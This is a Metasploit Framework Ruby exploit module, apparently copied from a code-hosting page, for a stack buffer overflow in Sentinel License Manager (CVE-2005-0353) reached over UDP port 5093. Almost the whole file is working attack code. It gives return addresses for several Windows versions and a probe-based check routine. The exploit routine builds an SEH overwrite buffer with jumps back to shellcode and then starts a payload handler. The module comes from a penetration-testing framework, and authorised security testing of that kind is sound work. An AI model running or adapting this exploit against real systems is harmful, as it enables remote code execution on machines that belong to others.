102 lines
2.5 KiB
Ruby
102 lines
2.5 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Udp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'SentinelLM UDP Buffer Overflow',
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'Description' => %q{
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This module exploits a simple stack overflow in the Sentinel
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License Manager. The SentinelLM service is installed with a
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wide selection of products and seems particular popular with
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academic products. If the wrong target value is selected,
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the service will crash and not restart.
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},
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'Author' => [ 'hdm' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2005-0353'],
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[ 'OSVDB', '14605'],
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[ 'BID', '12742'],
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 800,
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'BadChars' => "\x00\x20",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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['SentinelLM 7.2.0.0 Windows NT 4.0 SP4/SP5/SP6', { 'Ret' => 0x77681799 }], # ws2help.dll
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['SentinelLM 7.2.0.0 Windows 2000 English', { 'Ret' => 0x75022ac4 }], # ws2help.dll
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['SentinelLM 7.2.0.0 Windows 2000 German', { 'Ret' => 0x74fa1887 }], # ws2help.dll
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['SentinelLM 7.2.0.0 Windows XP English SP0/SP1', { 'Ret' => 0x71aa32ad }], # ws2help.dll
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['SentinelLM 7.2.0.0 Windows 2003 English SP0', { 'Ret' => 0x7ffc0638 }], # peb
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],
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'DisclosureDate' => 'Mar 07 2005' ))
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register_options(
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[
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Opt::RPORT(5093)
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], self.class)
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end
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def check
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connect_udp
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udp_sock.put("\x7a\x00\x00\x00\x00\x00")
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res = udp_sock.recvfrom(8192)
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disconnect_udp
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if (res and res[0] == 0x7a)
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return Exploit::CheckCode::Detected
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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connect_udp
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# Payload goes first
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buf = payload.encoded + rand_text_english(2048-payload.encoded.length)
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# Return to a pop/pop/ret via SEH
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buf[836, 4] = [target.ret].pack('V')
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# The pop/pop/ret takes us here, jump back 5 bytes
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buf[832, 2] = "\xeb\xf9"
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# Now jump all the way back to our shellcode
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buf[827, 5] = "\xe9" + [-829].pack('V')
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udp_sock.put(buf)
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udp_sock.recvfrom(8192)
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handler
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disconnect_udp
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end
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end
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